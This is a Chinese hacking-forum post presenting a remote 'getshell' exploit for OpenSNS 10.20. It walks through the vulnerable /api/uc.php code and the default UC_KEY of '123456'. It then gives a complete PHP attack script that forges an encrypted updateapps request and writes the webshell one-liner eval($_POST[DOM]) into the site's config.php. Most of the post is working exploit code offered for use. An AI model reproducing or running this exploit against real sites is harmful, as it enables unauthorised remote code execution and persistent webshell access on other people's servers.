HACK80 首页  立即注册  登录
现在注册
已注册用户请  登录
HACK80    技术文档

opensns最新版10.20无限制Getshell

  •   juk小乖 ·2017-10-12 16:35:33·225 次点击 ·阅读模式     

    马上注册,加入HACK80!与我们一起交流。

    您需要 登录 才可以下载或查看,没有帐号?立即注册

    x
    这个洞挖了很久了官方几次更新都没修复问题。问题出现在/api/uc.php上
    1. 43-48行
    2.         $code = @$_GET['code'];
    3.         parse_str(_authcode($code, 'DECODE', UC_KEY), $get);
    4.         if(MAGIC_QUOTES_GPC) {
    5.                 $get = _stripslashes($get);
    6.         }
    复制代码
    变量code从get中获取后经过_authcode函数解密成字符串 赋值到变量中,如果GPC开启则stripslashes取消转义
    我们再来看函数_authcode
    1. function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
    2.         $ckey_length = 4;

    3.         $key = md5($key ? $key : UC_KEY);
    4.         $keya = md5(substr($key, 0, 16));
    5.         $keyb = md5(substr($key, 16, 16));
    6.         $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

    7.         $cryptkey = $keya.md5($keya.$keyc);
    8.         $key_length = strlen($cryptkey);

    9.         $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
    10.         $string_length = strlen($string);

    11.         $result = '';
    12.         $box = range(0, 255);

    13.         $rndkey = array();
    14.         for($i = 0; $i <= 255; $i++) {
    15.                 $rndkey[$i] = ord($cryptkey[$i % $key_length]);
    16.         }

    17.         for($j = $i = 0; $i < 256; $i++) {
    18.                 $j = ($j + $box[$i] + $rndkey[$i]) % 256;
    19.                 $tmp = $box[$i];
    20.                 $box[$i] = $box[$j];
    21.                 $box[$j] = $tmp;
    22.         }

    23.         for($a = $j = $i = 0; $i < $string_length; $i++) {
    24.                 $a = ($a + 1) % 256;
    25.                 $j = ($j + $box[$a]) % 256;
    26.                 $tmp = $box[$a];
    27.                 $box[$a] = $box[$j];
    28.                 $box[$j] = $tmp;
    29.                 $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
    30.         }

    31.         if($operation == 'DECODE') {
    32.                 if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
    33.                         return substr($result, 26);
    34.                 } else {
    35.                                 return '';
    36.                         }
    37.         } else {
    38.                 return $keyc.str_replace('=', '', base64_encode($result));  //看到这就有很多小伙伴都能很清楚了我们只要知道UC_KEY的值 OK!那么就会CMS就会出现问题
    复制代码
    而程序默认安装的UC_KEY 为123456,_authcode算法自行加密,那么所有请求几乎无视GPC。又回到/api/uc.php
    1. 239-260行
    2.         function updateapps($get, $post) {
    3.                 if(!API_UPDATEAPPS) {
    4.                         return API_RETURN_FORBIDDEN;
    5.                 }
    6.                 $UC_API = $post['UC_API'];

    7.                 //note 写 app 缓存文件
    8.                 $cachefile = $this->appdir.'./api/uc_client/data/cache/apps.php';
    9.                 $fp = fopen($cachefile, 'w');
    10.                 $s = "<?php\r\n";
    11.                 $s .= '$_CACHE[\'apps\'] = '.var_export($post, TRUE).";\r\n";
    12.                 fwrite($fp, $s);
    13.                 fclose($fp);

    14.                 //note 写配置文件
    15.                 if(is_writeable($this->appdir.'api/config.php')) {
    16.                         $configfile = trim(file_get_contents($this->appdir.'api/config.php'));
    17.                         $configfile = substr($configfile, -2) == '?>' ? substr($configfile, 0, -2) : $configfile;
    18.                         $configfile = preg_replace("/define\('UC_API',\s*'.*?'\);/i", "define('UC_API', '".addslashes($UC_API)."');", $configfile);  //修复漏洞  --駿濤
    19.                         if($fp = @fopen($this->appdir.'api/config.php', 'w')) {
    20.                                 @fwrite($fp, trim($configfile));
    21.                                 @fclose($fp)
    复制代码
    又看到这一句
    $configfile = preg_replace("/define\('UC_API',\s*'.*?'\);/i", "define('UC_API', '".addslashes($UC_API)."');", $configfile); //修复漏洞 --駿濤
    这里虽然有addslashes,但是我们写入的eval($_POST[DOM]);一句话脚本是不需要 单引号和单撇号的,所以无视函数,随意写入一句话代码
    我们开启UC在/api/config.php
    define('UC_SYNC', 1); 设为1就为开启
    Getshell
    1. <?php

    2. // 代码版权归原作者所有!

    3.     $timestamp = time()+10*3600;

    4.     $host="localhost";

    5.     $uc_key="123456";

    6.     $code=urlencode(_authcode("time=$timestamp&action=updateapps", 'ENCODE', $uc_key));

    7.     $cmd1='<?xml version="1.0" encoding="ISO-8859-1"?>

    8. <root>

    9. <item id="UC_API">http://localhost/ucenter\');eval($_POST[DOM]);//</item>

    10. </root>';

    11.     $cmd2='<?xml version="1.0" encoding="ISO-8859-1"?>

    12. <root>

    13. <item id="UC_API">http://localhost/ucenter</item>

    14. </root>';

    15.     $html1 = send($cmd1);

    16.     echo $html1;

    17.     $html2 = send($cmd2);

    18.     echo $html2;





    19. function send($cmd){

    20.     global $host,$code;

    21.     $message = "POST /api/uc.php?code=".$code."  HTTP/1.1\r\n";

    22.     $message .= "Accept: */*\r\n";

    23.     $message .= "Referer: ".$host."\r\n";

    24.     $message .= "Accept-Language: zh-cn\r\n";

    25.     $message .= "Content-Type: application/x-www-form-urlencoded\r\n";

    26.     $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";

    27.     $message .= "Host: ".$host."\r\n";

    28.     $message .= "Content-Length: ".strlen($cmd)."\r\n";

    29.     $message .= "Connection: Close\r\n\r\n";

    30.     $message .= $cmd;



    31.     //var_dump($message);

    32.     $fp = fsockopen($host, 80);

    33.     fputs($fp, $message);



    34.     $resp = '';



    35.     while ($fp && !feof($fp))

    36.         $resp .= fread($fp, 1024);



    37.     return $resp;

    38. }



    39. function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {

    40.         $ckey_length = 4;



    41.         $key = md5($key ? $key : UC_KEY);

    42.         $keya = md5(substr($key, 0, 16));

    43.         $keyb = md5(substr($key, 16, 16));

    44.         $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';



    45.         $cryptkey = $keya.md5($keya.$keyc);

    46.         $key_length = strlen($cryptkey);



    47.         $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;

    48.         $string_length = strlen($string);



    49.         $result = '';

    50.         $box = range(0, 255);



    51.         $rndkey = array();

    52.         for($i = 0; $i <= 255; $i++) {

    53.                 $rndkey[$i] = ord($cryptkey[$i % $key_length]);

    54.         }



    55.         for($j = $i = 0; $i < 256; $i++) {

    56.                 $j = ($j + $box[$i] + $rndkey[$i]) % 256;

    57.                 $tmp = $box[$i];

    58.                 $box[$i] = $box[$j];

    59.                 $box[$j] = $tmp;

    60.         }



    61.         for($a = $j = $i = 0; $i < $string_length; $i++) {

    62.                 $a = ($a + 1) % 256;

    63.                 $j = ($j + $box[$a]) % 256;

    64.                 $tmp = $box[$a];

    65.                 $box[$a] = $box[$j];

    66.                 $box[$j] = $tmp;

    67.                 $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));

    68.         }



    69.         if($operation == 'DECODE') {

    70.                 if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {

    71.                         return substr($result, 26);

    72.                 } else {

    73.                                 return '';

    74.                         }

    75.         } else {

    76.                 return $keyc.str_replace('=', '', base64_encode($result));

    77.         }



    78. }

    79. ?>
    复制代码

    225 次点击  
    收藏  转播  分享
    添加一条新回复
    您需要登录后才可以回帖 登录 | 立即注册

    本节点积分规则
    QQ
    小黑屋   ·   手机版   ·   228 人在线 最高记录 5500   ·   TOP
    我们很年轻,但我们有信念、有梦想!

      我们坚信只有今天付出了,才有机会看到明天的太阳!现在!加入我们,给你一个气氛优秀的技术圈子。  
    GMT+8, 2018-7-23 06:11, Processed in 0.045464 second(s), 18 queries .